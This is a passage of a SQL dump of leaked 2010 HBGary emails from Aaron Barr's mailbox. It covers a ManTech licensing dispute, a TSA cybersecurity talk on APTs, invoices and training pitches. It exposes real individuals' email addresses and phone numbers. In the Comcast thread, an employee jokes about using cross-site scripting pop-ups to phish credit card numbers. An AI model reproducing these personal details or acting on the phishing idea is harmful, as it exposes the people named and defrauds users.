help.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn\r\nOct 4, 2010, at 9:42 PM, Penny Leavy-Hoglund wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNope\r\nwe can&#8217;t do this for free, it&#8217;s a business just like they have a business and\r\nwe need to make money.&nbsp; WE aren&#8217;t using their software for free and quite\r\nfrankly we&#8217;ve done MORE than we said we would because of this &#8220;strategic&#8221;\r\nrelationship.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Bob Slapnik [mailto:bob@hbgary.com]&nbsp;\r\nSent:&nbsp;Monday, October 04,\r\n2010 6:35 PM\r\nTo:&nbsp;\'Penny Leavy-Hoglund\';\r\n\'Aaron Barr\'\r\nSubject:&nbsp;ManTech\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nPenny\r\nand Aaron,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nPlease\r\nsee the email chain below.&nbsp; I wanted to have some internal dialogue before\r\nI speak with David.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThe\r\nattached powerpoint was David&#8217;s proposition to HBGary that they purchase DDNA\r\nduring the development of their MDA system then deploy it to the ManTech SOC after\r\nthe New Year.&nbsp; We ended up charging them $30,625 during the development\r\nphase with the plan that they would apply that amount toward the purchase by\r\nthe SOC.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nIn\r\nhis email below he is &#8220;pitching&#8221; that we provide our software to the ManTech\r\nSOC for free in exchange for workshare on contracts and ManTech reselling DDNA\r\nlicenses to customers via MDA.&nbsp;&nbsp; Personally, I don&#8217;t like the\r\nidea.&nbsp; In my entire business career I&#8217;ve never experienced a good outcome\r\nfor &#8220;future revenue&#8221; schemes.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOne\r\nreason we cooperated during their development phase was because we had a\r\npromise that the SOC would buy.&nbsp; Now, David is proposing to change the\r\ndeal.&nbsp; We had a deal in concept worked out for the development phase, a\r\ndiscounted reseller price for the SOC, and reseller pricing for when they use\r\nour software on their services engagements.&nbsp; I view his latest &#8220;offer&#8221; to\r\nbe reneging on a handshake agreement.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI\r\nwant the three us (Penny, Aaron and me) to be in agreement as to how we\r\napproach ManTech.&nbsp; I am not inclined to drop my drawers, but I am willing\r\nto bend if ManTech shows could faith with a reasonable amount of money\r\nupfront.&nbsp; Perhaps if they buy a license for the SOC we could provide them\r\nan extra reseller discount on some future transactions to RECOVER THEIR COSTS\r\nover time.&nbsp; I want them to take the financial risk, not us.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBob\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Savage, David R\r\n[mailto:David.Savage@ManTech.com]&nbsp;\r\nSent:&nbsp;Monday, October 04,\r\n2010 8:19 PM\r\nTo:&nbsp;Bob Slapnik\r\nSubject:&nbsp;RE: Voice Message\r\nfrom MARYLAND (93016528885)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAll\r\ngood questions&nbsp;J\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks\r\nfor the update on the mods, that is good news!&nbsp; In terms of testing, are\r\nwe still approx 2 weeks out from obtaining the mods?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAs\r\nyou know we have purchased a 500 node license for $32K+ that were are using for\r\ntesting and integration, with the intent the annual clock for the licensing\r\nwould start at the beginning of 2011 when we actually deploy MDA to the ManTech\r\nSOC.&nbsp; The current plan is that the ManTech SOC would acquire additional DDNA\r\nlicenses (up to 2,500 additional licenses, bringing the total to 3,000 with the\r\n500 we&#8217;ve already purchased).\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI&#8217;ve\r\nbeen holding off on finalizing anything with the SOC, as I wanted to address\r\nthe possibility of a strategic business relationship with you (HBGary), wherein\r\nManTech would be able to leverage DDNA free of cost internally in exchange for\r\nworkshare on contracts and ManTech reselling DDNA licenses to customers via\r\nMDA.&nbsp; I&#8217;ve had discussions with my Executive Leadership toward that end,\r\nand I need to follow up on with my leadership again so we can move toward some\r\nsort of solution.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAt\r\nany rate, your email has brought all this back on my radar&nbsp;J&nbsp; The ball is in my\r\ncourt now to identify the use-strategy for DDNA at the ManTech SOC, and I will\r\nget back to you.&nbsp; If for some reason you haven&#8217;t heard from me in two\r\nweeks, please ping me again.&nbsp; I certainly don&#8217;t mean to get side-tracked,\r\nbut I wear about six different hats&nbsp;J\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDave\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Bob Slapnik [mailto:bob@hbgary.com]&nbsp;\r\nSent:&nbsp;Monday, October 04,\r\n2010 6:26 PM\r\nTo:&nbsp;Savage, David R\r\nSubject:&nbsp;RE: Voice Message\r\nfrom MARYLAND (93016528885)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDavid,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWanted\r\nto tell you that the software mods you wanted have been completed and are now\r\nin testing.&nbsp; Also, we had discussed that you intend to deploy your MDA\r\nsoftware with HBGary&#8217;s DDNA agent into the ManTech SOC after the New\r\nYear.&nbsp; Is that still the plan?&nbsp; We had discussed that the ManTech SOC\r\nwould be purchasing the HBGary software as part of that deployment.&nbsp; Is\r\nthat plan still active?&nbsp; Does the SOC have its budget identified for that\r\npurchase?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThis\r\nemail is chock full of questions, isn&#8217;t it?&nbsp;&nbsp;J\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBob\r\nSlapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary, Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOffice\r\n301-652-8885 x104&nbsp; | Mobile 240-481-1419\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nwww.hbgary.com&nbsp; |&nbsp;&nbsp;bob@hbgary.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Savage, David R\r\n[mailto:David.Savage@ManTech.com]&nbsp;\r\nSent:&nbsp;Monday, October 04,\r\n2010 6:29 PM\r\nTo:&nbsp;Bob Slapnik\r\nSubject:&nbsp;FW: Voice Message\r\nfrom MARYLAND (93016528885)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBob &#8211;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI\r\nreceived your voicemail.&nbsp; I do not have easy access to a phone this\r\nweek.&nbsp; Is there anything we can address via email ?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDave\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Unity Messaging\r\nSystem - CHN-UNITY-1&nbsp;\r\nSent:&nbsp;Monday, October 04,\r\n2010 1:55 PM\r\nTo:&nbsp;Savage, David R\r\nSubject:&nbsp;Voice Message\r\nfrom MARYLAND (93016528885)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\nBarr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary\r\nFederal, LLC\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n719.510.8478\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\nBarr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary\r\nFederal, LLC\r\n\r\n\r\n\r\n\r\n\r\n719.510.8478\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5991,'aaron_hbgary_com/5991.html'),(12659,'2010-10-05','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','/aaron@hbgary.com/new/1297009337.M474958P14101Q7514.eml','\"Aaron Barr\" <aaron@hbgary.com>','Meeting','\r\n\r\n\r\n\r\n\r\nMeeting\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\nI got your vm yesterday.&nbsp; Is there a good time to chat or is it better that you come in to chat?&nbsp; Up to you.\r\n\r\nThanks,\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Chris\r\n__________________________________________________\r\n&nbsp; \r\n |Chris Clair | Program Manager | 703.449.3964 \r\n\r\n\r\n\r\n\r\n\r\n\r\n',2299,'aaron_hbgary_com/2299.html'),(12660,'2010-10-05','\"David Etue\" <david@etue.net>','/aaron@hbgary.com/new/1297009337.M682590P14101Q7515.eml','aaron@hbgary.com','shame you\'ll miss this chat this afternoon...','\r\n\r\n  \r\n\r\n    \r\n  \r\n  \r\n    This should be entertaining:&nbsp; \r\n    \r\n    Cybersecurity: How do we secure our nation\'s cyber future?\r\n      Dr. Robert F. Brammer, Vice President for Advanced Technology and\r\n      CTO, Northrop Grumman Information Systems\r\n      http://discuss.washingtonpost.com/wp-srv/zforum/05/northrop.htm\r\n    \r\n    BTW - Bummed I\'m going to miss the cybernexus event in Columbia\r\n    today, but I have to be in Tysons at 6 PM for the INSA meeting.&nbsp; I\r\n    was considering trying to swing by for a few minutes, but would\r\n    probably have to leave by 4:45ish...&nbsp; \r\n    \r\n    David\r\n  \r\n\r\n',15978,'aaron_hbgary_com/15978.html'),(12661,'2010-10-05','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297009337.M877610P14101Q7516.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: hey','Begin forwarded message:From: Joy Williams &lt;joytpwilliams@gmail.com&gt;\r\nDate: October 5, 2010 10:20:42 AM MDTTo: Ted Vera &lt;tedvera@me.com&gt;, Ted Vera &lt;ted@hbgary.com&gt;Subject: hey\r\nhey contact Ernst! he applied for a job with TASC and did not get contacted.....hook him up..yo!-- &quot;That is why we never give up. Though our bodies are dying, our spirits are being renewed every day. For our present troubles are small and won’t last very long. Yet they produce for us a glory that vastly outweighs them and will last forever! So we don’t look at the troubles we can see now; rather, we fix\r\n\r\nour gaze on things that cannot be seen. For the things we see now will soon be gone, but the things we cannot see will last forever.&quot;(2 Corinthians 4:16)\r\n\r\n',9444,'aaron_hbgary_com/9444.html'),(12662,'2010-10-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009338.M107106P14101Q7517.eml','\"Ted Vera\" <ted@hbgary.com>','Re: hey','Did Joy get contacted?AaronOn Oct 5, 2010, at 12:22 PM, Ted Vera wrote:Begin forwarded message:From: Joy Williams &lt;joytpwilliams@gmail.com&gt;\r\nDate: October 5, 2010 10:20:42 AM MDTTo: Ted Vera &lt;tedvera@me.com&gt;, Ted Vera &lt;ted@hbgary.com&gt;Subject: hey\r\nhey contact Ernst! he applied for a job with TASC and did not get contacted.....hook him up..yo!-- \"That is why we never give up. Though our bodies are dying, our spirits are being renewed every day. For our present troubles are small and won’t last very long. Yet they produce for us a glory that vastly outweighs them and will last forever! So we don’t look at the troubles we can see now; rather, we fix\r\n\r\nour gaze on things that cannot be seen. For the things we see now will soon be gone, but the things we cannot see will last forever.\"(2 Corinthians 4:16)\r\n\r\n\r\nAaron BarrCEOHBGary Federal, LLC719.510.8478\r\n\r\n',3155,'aaron_hbgary_com/3155.html'),(12663,'2010-10-05','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297009338.M400881P14101Q7518.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: hey','Not yet. On Oct 5, 2010, at 10:23 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nDid Joy get contacted?AaronOn Oct 5, 2010, at 12:22 PM, Ted Vera wrote:\r\nBegin forwarded message:From: Joy Williams &lt;joytpwilliams@gmail.com&gt;\r\n\r\nDate: October 5, 2010 10:20:42 AM MDTTo: Ted Vera &lt;tedvera@me.com&gt;, Ted Vera &lt;ted@hbgary.com&gt;\r\nSubject: hey\r\nhey contact Ernst! he applied for a job with TASC and did not get contacted.....hook him up..yo!-- &quot;That is why we never give up. Though our bodies are dying, our spirits are being renewed every day. For our present troubles are small and won’t last very long. Yet they produce for us a glory that vastly outweighs them and will last forever! So we don’t look at the troubles we can see now; rather, we fix\r\n\r\n\r\nour gaze on things that cannot be seen. For the things we see now will soon be gone, but the things we cannot see will last forever.&quot;(2 Corinthians 4:16)\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal, LLC719.510.8478\r\n\r\n\r\n',14261,'aaron_hbgary_com/14261.html'),(12664,'2010-10-05','\"Karen Burke\" <karen@hbgary.com>','/aaron@hbgary.com/new/1297009338.M612900P14101Q7519.eml','aaron@hbgary.com','URGENT: TSA Cyber Security Speaking Opportunity Thursday Oct. 21st in Arlington VA','\r\nHi Aaron, Rich Cummings was scheduled to speak at the TSA Cyber Security In Transportation Summit on  Thursday October 21st in Arlington, VA. Our TSA customer helped secure the presentation -&gt; Rich was confirmed to speak on the topic &quot;APT.&quot; We&#39;ve already provided them with abstract (see below). Rich is unable to speak at the event now due to an unexpected business engagement. Would you be available to speak in his place? The link below provides more details on the event. \r\n\r\nRich has a ready-made presentation, which I can send you. Please let me know ASAP so I can update the event organizers. Thanks so much Aaron! Best, Karen\r\n\r\n https://survey.tsa.dhs.gov/wsb.dll/11/CyberSecurityTransportationSummit.htm\r\n\r\n \r\nAPT - Observations, Techniques and Countermeasures (Rich Cummings, HBGary) \r\n Abstract: \r\nCurrent threats are rapidly evolving becoming increasingly hidden and sophisticated, this makes them nearly impossible to detect before being exploited by determined attackers.   Web application attacks are based on the exploitation of a combination of the business logic and software vulnerabilities.   Stealthy attackers silently and patiently introspect web applications to find attack vectors they can successfully exploit.  Advanced Persistent Threats (APT) are multi-phased and sustained over long periods of time; attackers use a variety of difficult to trace techniques embedding themselves within IT environments.  Once embedded, they open callback channels to steal data while simultaneously covering their tracks.   Attendees will learn the incentives and goals of sophisticated attackers, their attack methodologies, and new technologies that can used to proactively battle the growing threat. \r\n\r\n -- \r\nKaren Burke\r\nDirector of Marketing and Communications\r\nHBGary, Inc.\r\n650-814-3764\r\nkaren@hbgary.com\r\nTwitter: @HBGaryPR\r\n',3025,'aaron_hbgary_com/3025.html'),(12665,'2010-10-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009339.M291522P14101Q7521.eml','\"Karen Burke\" <karen@hbgary.com>','Re: URGENT: TSA Cyber Security Speaking Opportunity Thursday Oct. 21st in Arlington VA','But I would like to review tonight before making a final call.AaronFrom my iPhoneOn Oct 5, 2010, at 12:43 PM, Karen Burke &lt;karen@hbgary.com&gt; wrote:\r\n\r\nHi Aaron, Rich Cummings was scheduled to speak at the TSA Cyber Security In Transportation Summit on  Thursday October 21st in Arlington, VA. Our TSA customer helped secure the presentation -&gt; Rich was confirmed to speak on the topic &quot;APT.&quot; We&#39;ve already provided them with abstract (see below). Rich is unable to speak at the event now due to an unexpected business engagement. Would you be available to speak in his place? The link below provides more details on the event. \r\n\r\n\r\nRich has a ready-made presentation, which I can send you. Please let me know ASAP so I can update the event organizers. Thanks so much Aaron! Best, Karen\r\n\r\n https://survey.tsa.dhs.gov/wsb.dll/11/CyberSecurityTransportationSummit.htm\r\n\r\n\r\n \r\nAPT - Observations, Techniques and Countermeasures (Rich Cummings, HBGary) \r\n Abstract: \r\nCurrent threats are rapidly evolving becoming increasingly hidden and sophisticated, this makes them nearly impossible to detect before being exploited by determined attackers.   Web application attacks are based on the exploitation of a combination of the business logic and software vulnerabilities.   Stealthy attackers silently and patiently introspect web applications to find attack vectors they can successfully exploit.  Advanced Persistent Threats (APT) are multi-phased and sustained over long periods of time; attackers use a variety of difficult to trace techniques embedding themselves within IT environments.  Once embedded, they open callback channels to steal data while simultaneously covering their tracks.   Attendees will learn the incentives and goals of sophisticated attackers, their attack methodologies, and new technologies that can used to proactively battle the growing threat. \r\n\r\n -- \r\nKaren Burke\r\nDirector of Marketing and Communications\r\nHBGary, Inc.\r\n650-814-3764\r\nkaren@hbgary.com\r\nTwitter: @HBGaryPR\r\n\r\n',12707,'aaron_hbgary_com/12707.html');
INSERT INTO `emails` VALUES (12666,'2010-10-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009339.M76020P14101Q7520.eml','\"Karen Burke\" <karen@hbgary.com>','Re: URGENT: TSA Cyber Security Speaking Opportunity Thursday Oct. 21st in Arlington VA','Please send me the presentation.  I can likely do this.AaronFrom my iPhoneOn Oct 5, 2010, at 12:43 PM, Karen Burke &lt;karen@hbgary.com&gt; wrote:\r\n\r\nHi Aaron, Rich Cummings was scheduled to speak at the TSA Cyber Security In Transportation Summit on  Thursday October 21st in Arlington, VA. Our TSA customer helped secure the presentation -&gt; Rich was confirmed to speak on the topic &quot;APT.&quot; We&#39;ve already provided them with abstract (see below). Rich is unable to speak at the event now due to an unexpected business engagement. Would you be available to speak in his place? The link below provides more details on the event. \r\n\r\n\r\nRich has a ready-made presentation, which I can send you. Please let me know ASAP so I can update the event organizers. Thanks so much Aaron! Best, Karen\r\n\r\n https://survey.tsa.dhs.gov/wsb.dll/11/CyberSecurityTransportationSummit.htm\r\n\r\n\r\n \r\nAPT - Observations, Techniques and Countermeasures (Rich Cummings, HBGary) \r\n Abstract: \r\nCurrent threats are rapidly evolving becoming increasingly hidden and sophisticated, this makes them nearly impossible to detect before being exploited by determined attackers.   Web application attacks are based on the exploitation of a combination of the business logic and software vulnerabilities.   Stealthy attackers silently and patiently introspect web applications to find attack vectors they can successfully exploit.  Advanced Persistent Threats (APT) are multi-phased and sustained over long periods of time; attackers use a variety of difficult to trace techniques embedding themselves within IT environments.  Once embedded, they open callback channels to steal data while simultaneously covering their tracks.   Attendees will learn the incentives and goals of sophisticated attackers, their attack methodologies, and new technologies that can used to proactively battle the growing threat. \r\n\r\n -- \r\nKaren Burke\r\nDirector of Marketing and Communications\r\nHBGary, Inc.\r\n650-814-3764\r\nkaren@hbgary.com\r\nTwitter: @HBGaryPR\r\n\r\n',4450,'aaron_hbgary_com/4450.html'),(12667,'2010-10-05','\"Karen Burke\" <karen@hbgary.com>','/aaron@hbgary.com/new/1297009345.M484009P14101Q7522.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: URGENT: TSA Cyber Security Speaking Opportunity Thursday Oct. 21st in Arlington VA','Great Aaron. Attached is the presentation. It is the one he did earlier this year for CEIC -- we just need to change the background on slides. Can I tell the organizers that you can do it or do you want some time to review  preso first? Best, K\r\n\r\nOn Tue, Oct 5, 2010 at 9:46 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\nPlease send me the presentation.  I can likely do this.\r\n\r\nAaronFrom my iPhone\r\n\r\n\r\n\r\nOn Oct 5, 2010, at 12:43 PM, Karen Burke &lt;karen@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nHi Aaron, Rich Cummings was scheduled to speak at the TSA Cyber Security In Transportation Summit on  Thursday October 21st in Arlington, VA. Our TSA customer helped secure the presentation -&gt; Rich was confirmed to speak on the topic &quot;APT.&quot; We&#39;ve already provided them with abstract (see below). Rich is unable to speak at the event now due to an unexpected business engagement. Would you be available to speak in his place? The link below provides more details on the event. \r\n\r\nRich has a ready-made presentation, which I can send you. Please let me know ASAP so I can update the event organizers. Thanks so much Aaron! Best, Karen\r\n\r\n https://survey.tsa.dhs.gov/wsb.dll/11/CyberSecurityTransportationSummit.htm\r\n\r\n \r\nAPT - Observations, Techniques and Countermeasures (Rich Cummings, HBGary) \r\n Abstract: \r\nCurrent threats are rapidly evolving becoming increasingly hidden and sophisticated, this makes them nearly impossible to detect before being exploited by determined attackers.   Web application attacks are based on the exploitation of a combination of the business logic and software vulnerabilities.   Stealthy attackers silently and patiently introspect web applications to find attack vectors they can successfully exploit.  Advanced Persistent Threats (APT) are multi-phased and sustained over long periods of time; attackers use a variety of difficult to trace techniques embedding themselves within IT environments.  Once embedded, they open callback channels to steal data while simultaneously covering their tracks.   Attendees will learn the incentives and goals of sophisticated attackers, their attack methodologies, and new technologies that can used to proactively battle the growing threat. \r\n\r\n\r\n \r\n\r\n\r\n-- \r\nKaren Burke\r\nDirector of Marketing and Communications\r\nHBGary, Inc.\r\n650-814-3764\r\nkaren@hbgary.com\r\nTwitter: @HBGaryPR-- \r\nKaren Burke\r\nDirector of Marketing and Communications\r\nHBGary, Inc.\r\n650-814-3764\r\nkaren@hbgary.com\r\nTwitter: @HBGaryPR\r\n',8880,'aaron_hbgary_com/8880.html'),(12668,'2010-10-05','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297009346.M167397P14101Q7523.eml','\"Penny Leavy\" <penny@hbgary.com>,\"Barbara Vermilyea\" <barbara@hbgary.com>','Invoice from HBGary Federal LLC','Dear Penny Leavy-Hoglund,Your invoice for Qinetiq Incident Response Support is attached.  Please remit payment at your earliest convenience. Thank you for your business - we appreciate it very much.\r\nSincerely,HBGary Federal LLC\r\n		------------------------  Invoice Summary  --------------------------Invoice #: 1012Invoice Date: 10/05/2010Due Date: 11/04/2010Terms: Net 15Amount Due: $1,068.41The complete version has been provided as an attachment to this email.\r\n---------------------------------------------------------------------\r\n    \r\n    \r\n  \r\n\r\n\r\nWindows users: To view your invoiceOpen the attached PDF file. You must have Adobe® Reader® installed to view the attachment.\r\n\r\n\r\n\r\ndelivered by QuickBooks Online Plus\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- Ted Vera  |  President  |  HBGary FederalOffice 916-459-4727x118  | Mobile 719-237-8623www.hbgary.com  |  ted@hbgary.com\r\n\r\n',5080,'aaron_hbgary_com/5080.html'),(12669,'2010-10-05','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297009346.M458837P14101Q7524.eml','\"Barr Aaron\" <aaron@hbgary.com>','Wire','The wire transfer cleared and has posted to the HBGary Fed account.  Yeah!\r\n',719,'aaron_hbgary_com/719.html'),(12670,'2010-10-05','\"Eifert, Eric J.\" <Eric.Eifert@ManTech.com>','/aaron@hbgary.com/new/1297009347.M318515P14101Q7526.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Social Media Training','Thanks for spending the time with us.\r\n\r\nEric J. Eifert\r\nVice President and General Manager, Cyber Defense Solutions Business Unit\r\nManTech Mission, Cyber and Technology Solutions\r\n(direct) 703-388-2127   (cell) 703-966-9998   (fax) 703-388-2148\r\n\r\n**PROPRIETARY & COMPANY-CONFIDENTIAL**\r\nThis email and the contents of this email (including any attachments) are company-confidential and/or proprietary.  Unless you are the addressee (or authorized to receive for the addressee), you may not use, copy, disclose or distribute this email or any of the contents of this email.  If you received this email in error, please promptly notify the sender by reply email and delete this email from your records.  Thank you.\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, October 05, 2010 3:13 PM\r\nTo: Eifert, Eric J.\r\nCc: Estrada, Daniel\r\nSubject: Social Media Training\r\n\r\nEric,\r\n\r\nThanks for the meeting.  Made it to Columbia in record time.  Sitting in a Starbucks doing a little last minute prep before my presentation.  Let me know if or how you would like to present social media training to your customers.  Attached is our datasheet with the updated pricing and structure.\r\n\r\n',6849,'aaron_hbgary_com/6849.html'),(12671,'2010-10-05','\"Charles Copeland\" <charles@hbgary.com>','/aaron@hbgary.com/new/1297009347.M593632P14101Q7527.eml','\"HBGary Employees\" <all@hbgary.com>','HBGary.com registration','If you do not have an account on HBGary.com please go and register for one ASAP. If you have any questions let me know.\r\n',16239,'aaron_hbgary_com/16239.html'),(12672,'2010-10-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009347.M70043P14101Q7525.eml','\"Eric Eifert\" <eric.eifert@mantech.com>,\"Eric Eifert\" <eric.eifert@mantech.com>','Social Media Training','Eric,\r\n\r\nThanks for the meeting.  Made it to Columbia in record time.  Sitting in a Starbucks doing a little last minute prep before my presentation.  Let me know if or how you would like to present social media training to your customers.  Attached is our datasheet with the updated pricing and structure.\r\n\r\n',10159,'aaron_hbgary_com/10159.html'),(12673,'2010-10-05','\"Mark Trynor\" <mark@hbgary.com>','/aaron@hbgary.com/new/1297009347.M798515P14101Q7528.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,','Re: Comcast Warns Customers Suspected of Bot Infection','Yeah, let this catch on so I can send people pop-ups through some nice cross site scripting telling them they are infected and to give me their credit card so I can fix it right quick with some Comcast logos on it and what not.\r\nOn Tue, Oct 5, 2010 at 4:39 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nMaybe a market for EGS data is ISPs?Comcast Warns Customers Suspected of Bot Infection\r\n\r\neldavojohn writes &quot;Comcast is pushing a new program nationwide that warns customers if they might have a bot infection. It puts a semitransparent overlay on the top of the website you&#39;re viewing, warning you that you may have a bot installed if the provider 